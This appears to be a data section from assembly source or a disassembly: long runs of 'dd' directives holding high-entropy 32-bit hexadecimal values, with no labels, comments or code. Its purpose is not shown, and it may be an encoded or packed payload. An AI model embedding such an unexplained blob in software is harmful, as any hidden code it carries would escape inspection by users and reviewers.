dd 0FA37F615h, 0DFDA4FBAh, 0F73AF7F0h, 0F770DFD8h, 0A0CA9A5Ah
dd 5D80C46Bh, 4EC6103Fh, 0DDA58D2Ch, 5BA9A647h, 4916DB6h
dd 3B7E7DE8h, 8A8BD16Eh, 0A090B44Bh, 925F8FC3h, 0A92822D9h
dd 20A0690h, 2CDDB05Bh, 6A00807Ch, 69540947h, 0C9B02D0Bh
dd 5741F595h, 0EA1D9A76h, 65E05B74h, 0C109400Bh, 687C4597h
dd 0DC0AE679h, 0B9057B04h, 0DD88B95Ch, 2F036D01h, 1C57719Bh
dd 0DA119ADCh, 41A25F6Fh, 4473ABD2h, 323B3225h, 363504D0h
dd 0A727BA6Fh, 949556C0h, 0CBDB6059h, 426D3382h, 815572C4h
dd 0E5664Dh, 0C21CF75Dh, 0FC13216Ah, 40A1D0AEh, 8481ADE6h
dd 2684801Bh, 0B907D4B7h, 55C756E0h, 0BA76A97Eh, 4B9A95AEh
dd 0CB0008D8h, 6E5F00B2h, 461A58F5h, 3F954123h, 0B3BB1094h
dd 0C1352216h, 0B1E09B2Ah, 1A1B313Fh, 0A5658DAAh, 0A835B6D3h
dd 97C432E3h, 8E2DAB6Ah, 9D2E6286h, 0DC30CC6Ch, 3D727BB3h
dd 7A88B82Bh, 0A88E88B8h, 5814085Bh, 37F6A5Fh, 0EEE8AE1Ah
dd 0C94B5FF9h, 61741190h, 445FA908h, 6A328450h, 10CCEF50h
dd 0D4093C81h, 2EF6A8EEh, 4230224Ah, 0EAE45DF0h, 9D417D9Eh
dd 0F749E814h, 0E726D527h, 0FBA44605h, 7448DCA5h, 0B932058Eh
dd 46D42F91h, 45B99EAFh, 0E13D83BEh, 1B320930h, 6D0459C6h
dd 0CCDEF12Eh, 9A2E6286h, 0C512A9E8h, 305248ACh, 9B89019Ah
dd 74716622h, 0B22F35ADh, 41B4ACBFh, 0AC8865F7h, 0E0B343EAh
dd 30E171C1h, 0B34B240Ah, 85094EEAh, 3F9B0295h, 1A9A6BCEh
dd 5629CF0Ah, 6B4038A7h, 8E0A7714h, 0BECDBA6Dh, 0EB990EBEh
dd 5DC79DD4h, 0DEB3B30Dh, 8E5BBE43h, 132B3AB8h, 564EBBC6h
dd 664F339Ah, 1A4DD676h, 693E1E6Eh, 260B39A4h, 0E6DA1485h
dd 0C7077B8Fh, 0DB72EB93h, 0BD2ED66h, 41EBFC52h, 6711D318h
dd 3A0D3DB0h, 4A4B2185h, 2F9A8741h, 6ABD052Ah, 0DAE6A4BEh
dd 0B52E8294h, 91B8A1C0h, 0E66DF58Bh, 0F4835FF9h, 0A556096Fh
dd 56AD9A08h, 2FB76829h, 0B99105A9h, 5EC1EDEAh, 70528C9Ch
dd 326824A6h, 14CA6734h, 91DB935Bh, 29E7A58Eh, 7FCE0E53h
dd 0B0BF1A48h, 0A8F55EF9h, 50FEA27Ah, 5BDFC59Ch, 0A968BDFFh
dd 0AB7670EAh, 84E59255h, 3B2DBB3h, 5543DCE4h, 0E2EAAA51h
dd 0F5503D55h, 0F0E05EA9h, 2024566Fh, 0C3047141h, 5537A022h
dd 52188F03h, 29507059h, 0EDDCBA88h, 2A4416B3h, 0E7B3F55Dh
dd 0D0EA916h, 52EC07E9h, 1B874DFAh, 191884D5h, 0F5A3D427h
dd 552CE387h, 44EFFAD1h, 0D9CBBF8Bh, 4AF4C2A7h, 993CEC1Bh
dd 86D513B9h, 0FFEB7AEAh, 77A65A2Dh, 696A4F38h, 0F393CEC9h
dd 0CCE6911Bh, 0E2BF00CFh, 149BFC97h, 71209207h, 2B2A8412h
dd 0BC819A68h, 0E9595A6Eh, 8748CE36h, 562A453Ah, 0D4B7543Fh
dd 0CF5A9D7Fh, 929FDD24h, 0ABD6ACD4h, 3BF7447h, 9ADF5998h
dd 0A087F5Ah, 6A8D496Dh, 395B033h, 0EE6B3525h, 0D299590Eh
dd 0F622301h, 40F291F5h, 0A0C3DE7Fh, 40D31219h, 6643D9B0h
dd 3DEB180Ch, 4E00B32Ah, 88779377h, 2C012CCh, 8AF3CF78h
dd 658DDB32h, 0C9E7BC03h, 0DE8218ECh, 0CFE1CD74h, 60BC83BCh
dd 0E4E23656h, 8DEB9ADBh, 9900DC02h, 0C93840CDh, 8FB3271Bh
dd 6BD03531h, 0D8D3D991h, 0C7070FE2h, 2F7EF14Eh, 0F330CBB3h
dd 2FBCF6FCh, 2ED782BCh, 7662BFB3h, 8CF61C6h, 8B320FEFh
dd 79C6BEA7h, 9956BD93h, 0AB7B6195h, 5997CF7h, 32F14F79h
dd 32008DBBh, 0E9DCBFB2h, 7BC1A87Dh, 2BC43BC2h, 760EF901h
dd 0D0100EC8h, 0B33C2379h, 1FEEBDFFh, 64BB7AD7h, 76160EF6h
dd 9A0E5765h, 445796FBh, 0D058CD5Ch, 0F895B323h, 72A03ECh
dd 1DAD6CCBh, 0FECFCC7Bh, 4BE4FAFEh, 5E09BC1Bh, 6367F433h
dd 138846FFh, 0CF839B32h, 63ACC414h, 0C3E30A2Ah, 0ECC98027h
dd 6095C403h, 13793229h, 0F66483BDh, 41F39DA5h, 0C22E5997h
dd 0DB85808h, 7FED8661h, 26DBD7AFh, 38B0ABB3h, 60D69B11h
dd 1A881DAAh, 0A627332Ah, 0D8F7654Fh, 838152BEh, 8352E980h
dd 0BE4E3FA2h, 31EF53FAh, 864D1D99h, 686B1E3Eh, 2E3DE418h
dd 49936FB3h, 4903260Ch, 488A323Ch, 25900EFAh, 2086B0D3h
dd 2648BFCBh, 0D79DB26Ah, 1A1F8EFh, 2C34AC8Ah, 0A0F3921Bh
dd 0A050F1F0h, 32CC986Eh, 664461B1h, 29E1B14Bh, 5B3B1DAFh
dd 0BBE6D885h, 120C3A59h, 75112D84h, 9F6424DEh, 0CA4E7D42h
dd 787D2E7Eh, 0EF57593Ch, 0E329ECA0h, 88E30EDEh, 0B1264ADEh
dd 53ECCB27h, 0C101454Ch, 0C12B3285h, 0B91DEECEh, 0CE841E2h
dd 0AAC34874h, 58BAA82Eh, 0B992A366h, 81EE81A8h, 142DFC58h
dd 5FB3245Fh, 766418D1h, 0CD3C006Ah, 64C2C7D8h, 0C8B42Eh
dd 9990E0C2h, 0CBCD8F8Fh, 76161900h, 0C9A6AE80h, 0C40187ECh
dd 159954F5h, 1A31325h, 0E34685E3h, 9DD607Fh, 0B26402A0h
dd 17F10065h, 3ECC0298h, 98B88031h, 0A88BB328h, 0A3ECD4D7h
dd 0DF9A1D6Fh, 59A5EDE0h, 3DAC7BF1h, 1530F509h, 49B101D4h
dd 6A2985D1h, 0BEA63EFDh, 0F8EDD996h, 5A9D5114h, 0D971F3A8h
dd 5E97A4BBh, 78032F5h
dd 0ED621736h, 273F9021h, 82DEA010h, 75D6F654h, 0E9A01DA5h
dd 697B3249h, 583A900h, 80319147h, 54988E0Fh, 2F301587h
dd 0E9E0DB0Eh, 0A44EB940h, 8FECF4EAh, 0DD5CAF46h, 4F108A00h
dd 61BD72h, 5EEFFA69h, 0BD0D7EB3h, 0C4BED300h, 723E706h
dd 0CBAA2286h, 13B7BB1Fh, 27140BC4h, 3B346422h, 297378F1h
dd 5BF500A0h, 0B072E36Bh, 6DDBF0A1h, 0CE1B26C4h, 68D8BFEBh
dd 715B2094h, 0D0024D00h, 7C04EDB9h, 0AEC77643h, 78354E3Bh
dd 790C28Fh, 0C47BF4D2h, 1D01BC46h, 8FD4C169h, 0CF0D1B32h
dd 1E97E1ECh, 237EF529h, 4C2C2CB3h, 0C778E542h, 0D60BEA46h
dd 1781BE61h, 1B40ED26h, 0FB3800C9h, 10D94C67h, 9BC7DE7h
dd 6D0B0C38h, 4922235Ch, 0D0C363D0h, 0FD5C2DD7h, 9F38D8C7h
dd 804B41DAh, 71263FC7h, 93E27FA8h, 9E7DEE71h, 66572084h
dd 5FCFADFh, 93DE0D35h, 49D5D124h, 0BE301AA4h, 65A76CEBh
dd 0D11246FBh, 0DAA4FD0Fh, 500D4C8h, 480CBCADh, 615C6D15h
dd 830008Eh, 7212016Fh, 0AFB2FE8h, 414FAA71h, 0BF0841A8h
dd 0A69B8926h, 0D80D36DFh, 2D8767C7h, 61E6D57Bh, 6D80D007h
dd 0D923A841h, 0B8DEA6E3h, 0B4C3901Ah, 0D9BFB9BAh, 0E8A44963h
dd 0B9ECC817h, 67E21224h, 81F7DA2Bh, 87514110h, 1D167126h
dd 44A1D991h, 9C8F1232h, 0D8C3D7B4h, 1414F800h, 0FEB33F64h
dd 16D0359Bh, 224DEF40h, 57B10161h, 0C6AC0A61h, 69C489FBh
dd 0EF3700D0h, 0E2C2FB26h, 7D03EF37h, 0F1C5DE03h, 0E80CD9A1h
dd 0A1656043h, 5B0D78Fh, 2241690Ch, 936A0389h, 43FAC892h
dd 0DC89BD8Bh, 0E175FD26h, 0C1F3175Bh, 0EBBD977Dh, 329923DAh
dd 949133BBh, 0DE79403h, 1A89814Ch, 7D9B189Bh, 0EA9121CFh
dd 0DED5F742h, 49B1837Fh, 8494EB24h, 9125BFC3h, 1A8CCF0Bh
dd 9BC0DABFh, 0D84898h, 63129FEFh, 7B0D3EEAh, 0D564B858h
dd 61753077h, 0C9129370h, 1F4702F8h, 39BCE44Dh, 50FCB5C5h
dd 0A40E2902h, 6F9042AEh, 9250FC61h, 0B37D17Dh, 40F143A6h
dd 9F0496B0h, 0E1739D95h, 0F9ABF7h, 6407794Eh, 0ABF7FBAFh
dd 2004DEEDh, 29F9B1Dh, 84813917h, 24764201h, 8741FE92h
dd 4A06582Dh, 0F0EC5BFCh, 2DB7B7C4h, 59941EF6h, 0AF370269h
dd 0A466B3E5h, 0D92CEEF1h, 4F092DEAh, 493E68A1h, 64C071A0h
dd 0C9B0E7Bh, 8AA4765Ch, 924435Bh, 0D55605C8h, 6657AA60h
dd 55881243h, 959D030h, 0B48F485Ch, 0A01F390Fh, 18963141h
dd 3C129D30h, 55ACD0E3h, 0C6044962h, 929DF40Fh, 59183E88h
dd 2EB70279h, 87BC491Fh, 0B4D7CBF1h, 0F6653B7Ah, 44C449Eh
dd 6213836Ch, 4C8F74Bh, 305E3D6Eh, 7C0DADB1h, 0FBF9A0A9h
dd 0ECA31486h, 71D4C07h, 5618801Eh, 0A0103448h, 0EB109CC5h
dd 5FA943EBh, 6292EF27h, 29875A52h, 954F9940h, 0B707D969h
dd 363F93Ch, 0C6448528h, 48919E9h, 3A321E7Fh, 0D9BDD30Fh
dd 7CE4479Bh, 0FE84A302h, 0B400B1B2h, 0B3148063h, 0CE24CBAEh
dd 5BF3BBDAh, 0A04D00B7h, 6254C57Ch, 23FC7ECBh, 0D99C37D7h
dd 0D085FB2Ch, 0F6640FB2h, 994D3C59h, 2D87DFE8h, 7CB0C681h
dd 2705877Ch, 0AC6D1FB2h, 1BE879Bh, 269E2308h, 4872601Ah
dd 14BC627Ch, 8CDEF34Fh, 0A7886CE4h, 0B3470D15h, 6C9E9218h
dd 77B7C0F1h, 218E3878h, 5FE3CED9h, 0F80D40CEh, 3BAC9E34h
dd 0A404E048h, 0E978BFB2h, 93DE694Fh, 8E2C7E30h, 9CD65764h
dd 0E4CB9B7Ch, 4C06A201h, 670F3E13h, 0EE39DD1Fh, 0C8A8DC4Fh
dd 715B1F1h, 3EC5AB7Ah, 0F27D17AAh, 183AC427h, 9ADAD333h
dd 84C3B15Ah, 9A54D8F8h, 0D72DCF11h, 8ECFF908h, 0E854D006h
dd 1F14E49Eh, 0E0112E4Fh, 0F40F947Ah, 5B7D8FBCh, 0B083B0C1h
dd 4D5CADDAh, 2FB3E2B7h, 7FB2EE7Bh, 66B5F354h, 0C5EB95AFh
dd 7EAE83B5h, 907BC1A4h, 80BE0ACh, 3C20DD4h, 0A636FC93h
dd 0FE3F660Fh, 0B93BC7F0h, 563FFCD9h, 0B74C3B12h, 7D95202Fh
dd 1C972B8h, 0BFE83B6Fh, 8D23A635h, 0FC18C356h, 0C1A511EBh
dd 6C6CC170h, 0F4E6358Dh, 45F2B3ECh, 0C0978737h, 0E385B702h
dd 0DEE67013h, 0A60B698Ah, 0FDE75Eh, 0BF43A0FDh, 177572B3h
dd 40C964ADh, 2986574h, 0A38D1CB6h, 2F81EB25h, 1A0B3F46h
dd 2DF0ED0Fh, 5808CC34h, 0D8C6BCBCh, 0BBF99AEEh, 104006BEh
dd 7C441DE7h, 9B8E2AFAh, 0CCF00DA2h, 84BE370Eh, 0E3E60C93h
dd 4E5F2B00h, 0ABB16257h, 0EC3EF6F7h, 6B084FFEh, 143B3D47h
dd 29D2ADC7h, 0E61C50EFh, 1BA2B19Fh, 771C66A6h, 0DACBEE0Ch
dd 0DBC1A53Dh, 8D2C0C4Eh, 0EC044323h, 9A80DEFDh, 19534714h
dd 0E24F891Ch, 0C48C1AB8h, 683077E7h, 8D9371B0h, 0A870D3AEh
dd 3EB8E36Bh, 1FF79977h, 0C87F006Bh, 54401DEEh, 0FC47155Fh
dd 11FC1102h, 23DCBD53h, 3F0F9F3Ah, 9B35DF77h, 0CC082301h
dd 81F2471Ch, 71C7468Eh, 0F9FCC206h, 72428458h, 0C1C4AF9Bh
dd 85D7F8EDh, 0E3E6F0EFh, 0D3DAFB31h, 41D81736h, 8E223268h
dd 21CFB1BBh, 0C0E02E3Ch, 3E4537CFh, 167B41A7h, 0F77F318Ah
dd 0C3CB916Bh, 81A19227h, 54C29D71h, 6C18F027h, 1935355Ch
dd 726D3D91h, 5E0D73FEh, 48993C46h, 0B0B4402Dh, 6915280Bh
dd 4D3F41DAh, 7F496C62h, 6D952442h, 7309E55Eh, 0E4472C47h
dd 53EFFD33h, 3621A8AFh, 2BF0FF80h, 647ECB28h, 0DC3194D1h
dd 4DBC29E4h, 0D3E9C1CEh, 0BBA0F740h, 3002C38h, 788585FCh
dd 1B94A405h, 7FB968BDh, 344B009Bh, 595F3539h, 3D91CCB0h
dd 4DB85FBh, 270026DCh, 504DC388h, 0B4359D9Eh, 0E7AA3171h
dd 35B12D9Fh, 0CF1618E3h, 0C21F4A08h, 0F83D008Ch, 0F805C2CEh
dd 808F3E18h, 539F04E5h, 835670B3h, 471F736Bh, 823AF30Dh
dd 0B638C1A9h, 0BE642DB7h, 0B33FD540h, 0DE250190h, 6770B54Fh
dd 19C2CB28h, 6F5BAC4Ch, 637FD2E1h, 18A6F386h, 6216ECEBh
dd 17BD2817h, 3857B053h, 0B4AD2665h, 9BFC9D18h, 2478B79Bh
dd 0F9B1AEF4h, 0CC089h, 0CDFBCD1Eh, 87101D76h, 4EA156C5h
dd 0A5107C4Fh, 3A85BB75h, 1886DA00h, 8E66BE5Dh, 0B38F399h
dd 66E5D9D7h, 81C02732h, 3F5C2C4Bh, 9A0B1BC1h, 68CC3349h
dd 93319F8Bh, 0D829839Ah, 8C7BE663h, 3C1A6699h, 308725ACh
dd 0F33B3275h, 0A06DB4B2h, 0AF4E2046h, 1608B399h, 0E4CC5BDFh
dd 363683ABh, 0C0C9899Bh, 3E66A5D5h, 67832F9Dh, 1CBFF8F6h
dd 59B827FEh, 9ABF8630h, 23CA7E63h, 70034E66h, 31A1375Eh
dd 73716CFEh, 0DBC1A785h, 827CD503h, 923E6648h, 1111356h
dd 9600F0EAh, 73A0F7Ch, 0C4C1FD8Ch, 3C0B7635h, 0B994FFB3h
dd 268B88ADh, 0A2B20D5h, 6CF90243h, 0E59EA035h, 0FCDCC07Dh
dd 207C9995h, 0C65F2372h, 99B10BD2h, 3D93539Dh, 0B93283EBh
dd 31251BC1h, 25689855h, 0D2AD6F23h, 107B244h, 817C406Dh
dd 1D7AECDFh, 0F88C3FA6h, 0C26C5315h, 3671376Ch, 0E2E26F5Fh
dd 0F58EE5EFh, 4012DE58h, 0FB2008ABh, 6C57C3DBh, 85730AE5h
dd 741F8C89h, 0AF899F7Ah, 0CE04C78Bh, 4EC09394h, 13561E98h
dd 0E9402839h, 0F2F58823h, 7167F791h, 0C3E70E91h, 362FDD01h
dd 0F8FD1F71h, 0ADFEF6AFh, 3AC92B01h, 5FE0879Fh, 843CCFE5h
dd 6814AE9Dh, 8C64291Ch, 16106E04h, 122B32F3h, 0B7A0F54Eh
dd 5FAE0573h, 0F9DE7B37h, 1F08AF9Ah, 54068409h, 0C340B0E3h
dd 41BD404h, 0E0907DD2h, 0CE4F817Eh, 5896815Ch, 53BE852h
dd 0D2137ECEh, 0B7C0AEF6h, 340B17E9h, 0AF2684Eh, 19987A1h
dd 0C095751Ah, 5393B47Dh
dd 286B8F9Fh, 6F6C8156h, 0A7B8E87Ah, 0A2396CCAh, 652199DEh
dd 0ECB750EEh, 9477556Dh, 6921FDEEh, 14839E0Bh, 2955A897h
dd 62CABD21h, 5A9B2A9h, 792FD536h, 0FDED774Dh, 0EC702D46h
dd 89F9043Dh, 3B2F3B99h, 934236AAh, 0E058659Dh, 0BD2C6A48h
dd 6FDECB6Ch, 0EF76B6F6h, 948A6CB9h, 0A54E85B4h, 0D638B000h
dd 747AA26Ch, 0E36A77EFh, 4A87E65h, 975DEE88h, 87BDA5B9h
dd 0D037EF6h, 1008BA11h, 46C06656h, 0AA59DD48h, 50E19DDEh
dd 0A14FD51Bh, 0A91949F7h, 0DFC9BF7Bh, 0B24DAADBh, 83BF7BEBh
dd 0BD210D46h, 0AF68407Ah, 0B8D49CCFh, 87DD9BFBh, 9677F76Eh
dd 286B4E95h, 7ABF43A7h, 44D6DF2Dh, 0B94D53E1h, 82247822h
dd 2B952F92h, 8DF85503h, 0A572C63h, 6DA46CDh, 4F783169h
dd 26C5B09Ah, 7A9B6210h, 0F2578D44h, 96AC544h, 7AF36CCBh
dd 2B26A0B3h, 0AFEED279h, 0E3DFF50Bh, 60828244h, 3DDA1A79h
dd 22DD003Ch, 2918EA0Ah, 0D5736F58h, 4A260FBh, 9FC9E3D7h
dd 26A9285Ah, 3ED8DC6Dh, 893996D7h, 8211C1E5h, 8FCFCC5Fh
dd 0B2DCCD1Ch, 8C1B9A3Bh, 3F93149Ah, 52383CBEh, 9C1A9BF0h
dd 0EB86361h, 5AAB88F5h, 80189AACh, 4CBE0B91h, 568AEAD5h
dd 3F36A45Fh, 0F5D74DB0h, 809D9679h, 792C9D5Dh, 231C4D05h
dd 84911BB3h, 0E6E536ADh, 0E0F117B6h, 0B945BC58h, 0FA0AF659h
dd 0F1A5891Ch, 0CA05369Ah, 5AB24F79h, 6804012Ah, 3D3BAF8h
dd 8DB98229h, 407FEB59h, 2A5409F0h, 7372A2D5h, 8E06D1B0h
dd 9F4BEBA6h, 2BD88ABh, 70C89E85h, 26D24F35h, 1A7DA31Bh
dd 0B57F108Bh, 0B3372B28h, 0C2819E3Fh, 0BD6B802Bh, 8071A90Eh
dd 0FD48B654h, 686FB5BCh, 0A5F93572h, 680F3612h, 0AF40C8Ch
dd 0C1860EEAh, 44F02560h, 0F5306983h, 69F2E027h, 1E01B770h
dd 9783F735h, 7C6A3DA8h, 0C99A6E70h, 37B15577h, 3980499Dh
dd 6F8F614h, 0CDA937E8h, 0BA7D57ECh, 0CC4476AEh, 4EEAE3CEh
dd 0E19505B6h, 0AD2F3D26h, 285F0CB4h, 0B003D378h, 0D6CFB1B2h
dd 8006F2h, 10460938h, 4A75BD9Ah, 5851A1D7h, 69B9EAB1h
dd 99F8488h, 12AB4116h, 7415AEAFh, 9DE012B0h, 8B912F53h
dd 63324ED9h, 0DE7850B6h, 415A2595h, 0C1E32594h, 558A3BBBh
dd 9415796Bh, 67F6C286h, 2018D81Bh, 0CFBF66A0h, 0BB09B6FCh
dd 0E89CF270h, 572E470Ch, 75619D93h, 0EAB3EBA0h, 0A4827514h
dd 0B3EC2A4Dh, 6FA9C86Fh, 269A5875h, 0EFE8984Ch, 0E033800Ch
dd 0F0B77733h, 0B1537743h, 4FE69F9Eh, 1D0FAF51h, 2F0325F7h
dd 16C40F7Eh, 79901133h, 134E1B4Ah, 45D2815Ah, 3C0553Ch
dd 99314990h, 0D5E94E61h, 48036768h, 4AB13DEDh, 9F5A1CE9h
dd 69A7E686h, 4873C45Dh, 0D69C95EBh, 0C1EA9ED0h, 4FC96B40h
dd 518B2D88h, 0C3D6C44Bh, 0AEB15E4h, 54595AC5h, 7D0E2A07h
dd 9B8C5A6Ch, 5E0A7829h, 1FBABD0h, 816B3B67h, 6CAB0441h
dd 7FE2FB66h, 21AAF408h, 2AC4FEC3h, 4BF5EF3Ch, 7DABF7C3h
dd 0F5AF9B81h, 6835F5C7h, 0D3D026D5h, 0BA362E82h, 0FE5CC70Fh
dd 2D598C36h, 5B8D42E8h, 75EBABD3h, 7B6135F1h, 8D9A004Dh
dd 8DB4AACAh, 0D92799CAh, 0F047737h, 1A2E4565h, 77F20635h
dd 229BF919h, 0ADEEA3C9h, 0FEA331Ch, 0FE5346F3h, 56DF9751h
dd 0B0B0BC35h, 0DD43A0AEh, 0AA2F9B5Ah, 4C78ED05h, 40880EDDh
dd 38032CFCh, 6EA85853h, 204E662Fh, 1B7B112h, 9E47C6F7h
dd 40C3E4C4h, 38FDF0C8h, 2A901982h, 51806BABh, 5ABCA83h
dd 4BBB9ABDh, 651E9DAEh, 0A89C36h, 0DFEA0E39h, 81F64536h
dd 5408D868h, 521971CBh, 3B58BE5Dh, 0D2055459h, 0B491B533h
dd 3AAFAA1Fh, 0E143ABC5h, 9E636B2Ah, 916EEA68h, 0EB18CE41h
dd 47888319h, 0D8D06488h, 64E1B674h, 0E297D80Ch, 560EA6DCh
dd 271B00EFh, 0C733D626h, 0B0A13198h, 0CC9A90FFh, 9A9007EEh
dd 7D444FB0h, 0A095B327h, 9EE7F29Ah, 1B66AA8Fh, 11CC1E53h
dd 13F989FCh, 0CEB60026h, 0E186A635h, 2894361h, 14010E55h
dd 5AA06609h, 0FE87B365h, 0C1D8D284h, 67FAF8C2h, 0DB0B5D67h
dd 42E255C0h, 19DE38E8h, 0BE2BFB6Eh, 1E2F1A75h, 1C30B96Fh
dd 0B7E7356Ch, 1DDA833Dh, 7D13CBAEh, 0FC8B2C56h, 0D178E476h
dd 27800C7Fh, 0B66E0D7Bh, 1DDD3722h, 55A131B0h, 716326C9h
dd 0C546DB09h, 65DE5EB0h, 0E887B314h, 0A6AA0C3Dh, 0F54EC1DAh
dd 8F0134EAh, 0A86BE2F5h, 564D5388h, 5E3E8087h, 75748EAFh
dd 0DD5C92FBh, 0F9C2E7F6h, 91B97D19h, 8E87260Bh, 0C7520E57h
dd 0A30DF64Ah, 6D3B051Eh, 9A3E20DFh, 0B81934D9h, 234D3DF4h
dd 100E2318h, 0D815A7C7h, 6B854FECh, 3CDA8EDDh, 0A00D5F11h
dd 0D4D3D830h, 0B274E97Fh, 36B14014h, 0DD45232Eh, 91ABB32Eh
dd 0B7D83BF3h, 0E049D528h, 0E1C43CB1h, 47A9CCD0h, 1268740h
dd 0A4D12918h, 0D168070Ch, 3B27B038h, 2C6FBFB0h, 0FD518346h
dd 57EDF00Dh, 742A3161h, 52883D94h, 514657C4h, 2E4273B0h
dd 5D1EE958h, 83550247h, 1DD55EB8h, 0C8820755h, 4B495CD4h
dd 665B5D91h, 0BF9F2C0Fh, 33CBD743h, 0B2572FAFh, 8CC77372h
dd 24104489h, 387D725Fh, 355CA53Bh, 2B96E795h, 0DF631A6h
dd 31A331E1h, 418AB89Ah, 8F7A6CDFh, 7B3309A1h, 0B9D56A71h
dd 0D39017Bh, 0FD87CA3Bh, 0AF6449FCh, 493B2D8Dh, 0A9F1254h
dd 942AB90Bh, 2D0E4D80h, 89E73945h, 7B36DD23h, 84AA0D4Dh
dd 8E81225Bh, 93000F50h, 0C8F212DCh, 322C430Ah, 80D99F5Eh
dd 55211B59h, 735AA2D7h, 0A5F5446h, 0B6EB97E4h, 26B26AB9h
dd 0A23B65CEh, 66BD8E48h, 50239A00h, 44D136CEh, 0D426A3BDh
dd 0AB55118Eh, 48A20262h, 19F6761Bh, 438F81BDh, 4765102Ah
dd 0DB7AE84Fh, 0AAC1A41Eh, 0C954914Eh, 59955895h, 0DC545937h
dd 2BB05AD1h, 70424ED8h, 4A1497B5h, 7C25802Bh, 0C374D19Eh
dd 0B8629209h, 4991A687h, 1FC70135h, 2408A28Eh, 3954AEA7h
dd 0BEDFD280h, 0F9836C83h, 94C12B94h, 6B99F502h, 7F690DFh
dd 960FE52Dh, 0E986FB06h, 0AB834B0Eh, 9352567Eh, 85D3A31Bh
dd 1888FACCh, 0CA10E99Ch, 30F43315h, 0B2A235DEh, 3C083CA9h
dd 0D16E5DF3h, 0D8943881h, 4461E808h, 0F789B42Eh, 0A7EB329Ah
dd 7FB2EAC1h, 2F8F803Ch, 1FF7ED0Fh, 0D0DA3980h, 0A28E7A7Dh
dd 0F9D895CDh, 8A0DFA27h, 0C57384Dh, 8317ED7Fh, 0D4D7986Fh
dd 7CC5F9CFh, 90FBE35Ch, 4DD36DE1h, 977D0738h, 5BF0019Eh
dd 9077F00Eh, 0FB69DA08h, 8060F553h, 94357B22h, 0E602AC22h
dd 9832E25Eh, 0BBD00982h, 677A84D7h, 2168605h, 288BA13Bh
dd 9E57176h, 1EC4A1E4h, 4B42A920h, 9F974E34h, 73021DE4h
dd 44F35D51h, 0B6F02776h, 28FFFF6Dh, 9C4F1F9Dh, 27D7CE96h
dd 0F68674B8h, 0A2979110h, 0E7240A40h, 638A651Eh, 67230A23h
dd 0F508F560h, 60039C66h, 15A437C9h, 4AD837DAh, 992551B4h
dd 3816651Fh, 0E6AECD2Ch, 3C8609D9h, 46945622h, 62B97366h
dd 0BAC60E87h, 0AB365606h, 5581AEC9h, 465091D7h, 851BE1A0h
dd 4BFF0BADh, 0ED91B1C3h, 0F9C89D04h, 31026384h, 573F1DA5h
dd 0CF460F4Ch, 3DB05316h, 127C08ADh, 3AAA52A8h, 82793D8h
dd 0F2CE187Eh, 38F47676h, 0DD5DB60Eh, 0F594E09h, 0CDBDB58Eh
dd 3B024183h, 670403D9h, 590EDD0Fh, 4DE07EE7h, 7CC25C91h
dd 0F8690C27h, 0C4ED5B81h, 104E3522h, 6F5F8064h, 8300BF34h
dd 8382B410h, 47F4132Ch, 16D1878Dh, 0B5DF60A9h, 2D499271h
dd 8AC28D80h, 4CAC5863h
dd 0B549CDEFh, 0F3E0692Fh, 313378B5h, 1E995533h, 1E792FB5h
dd 0BAB560CBh, 4CACC13Bh, 76542EFh, 17A53B33h, 0B55F35B4h
dd 1560753Bh, 46FEC9F2h, 7C87743Dh, 9F6873BBh, 6BFF3CDAh
dd 0DF61C4BCh, 23E58170h, 16598ED7h, 9D4CA9AFh, 24AE55DEh
dd 3BAC0C02h, 6A896600h, 0E1A14329h, 0D74ECB50h, 30B8A80Eh
dd 0F7960B9Ch, 0E608AD02h, 0F9C41C7h, 70600736h, 0EB1D8EE4h
dd 3533046Ah, 77C74DBBh, 0AABB84D3h, 5D5BD6E3h, 5F62D012h
dd 593A30FCh, 41D075FBh, 1AE4903Bh, 1E3C5F68h, 99614A4Ah
dd 81684401h, 0C8C3069Eh, 0CC576D58h, 834131A8h, 0CFBB81EEh
dd 73D9144h, 5CE3CED9h, 59E09B57h, 0CD34C6B6h, 0B608DE08h
dd 0E5F208Fh, 0D930EABh, 0DF0FC5F2h, 9AF4CC4Fh, 0E865F980h
dd 228F1DBDh, 0ABBFE076h, 0D80AEAA1h, 31B314BBh, 8B845250h
dd 68C7D5CFh, 0BDFD42E9h, 0A3D7CA36h, 72218099h, 0FAA65F9Bh
dd 817AE444h, 9B375683h, 0E3001h, 63F1304Ah, 8EE37F57h
dd 0E5775E6Eh, 0B6F63471h, 6DED94B3h, 9F1D5B53h, 24DD40E4h
dd 0F746BDAAh, 80F1503Bh, 0BD90B042h, 0C2412568h, 0B6BB2FD8h
dd 876C6627h, 148CB4D1h, 67C1AB42h, 43EC03C1h, 0D465E448h
dd 9DD42E57h, 0F5214FD5h, 0D6346DF3h, 0DC7D27CFh, 0BF241F36h
dd 4454B6A5h, 8183CD66h, 0FDB435D5h, 631D6B8Dh, 2388BAEBh
dd 4875ECADh, 682F44C0h, 58B3D22Dh, 94662746h, 8CE68AAh
dd 519BE2FBh, 0CAD571C1h, 1616882Ch, 36015E92h, 77802006h
dd 6321D7ABh, 0B1F07E3Fh, 0CC8B7734h, 3ADED2A6h, 0B664CA05h
dd 42D78487h, 0A119A4DCh, 0ACB4A1B9h, 0F61498DBh, 37D0E8C5h
dd 4EC8BBB9h, 66157557h, 7DDC2C9Eh, 9D1272D8h, 0BDD48D88h
dd 4F7EF361h, 0ECC977EDh, 62BA130Dh, 992BD60Ch, 0E93752A5h
dd 0E82EC15Ah, 0CEB705E9h, 0CA17556h, 0A717C174h, 2C457554h
dd 35C9995Ah, 5FD66BBDh, 0F5AA4861h, 4239B436h, 6241D826h
dd 3692B957h, 0C45EDD46h, 0CB1338EEh, 0BFC863C0h, 46EE2649h
dd 9D9619BBh, 0F3375122h, 586C7B7Dh, 829C9127h, 42ECE666h
dd 240C8AFDh, 9DA4C1B6h, 0EC020120h, 9402E71Ah, 7D925D45h
dd 433E96C9h, 16E1A093h, 0B656AAD2h, 0DF4C48FCh, 5AD3020Fh
dd 4AFE9151h, 0AFB2B67Dh, 0D8C9F13Ah, 0EF5C9D67h, 8D73C277h
dd 358CECA9h, 28EDCEA4h, 0E6C26F26h, 0A316C015h, 9011875Dh
dd 177B736Bh, 6809BF37h, 39CE7F77h, 9DC9DF98h, 99E8C783h
dd 79D77EC2h, 5FF093A6h, 0C9D63E7Ah, 0E7B1BE7Bh, 857CF43Fh
dd 46C5F3D1h, 43FE43CFh, 0C74685CFh, 86A90575h, 0AE829EABh
dd 8B16303Ah, 0FF89D559h, 51D37FD0h, 4707FFDEh, 8E1BFF79h
dd 18FFD59Eh, 21F618B1h, 7A4C0288h, 360E394h, 0F79F8513h
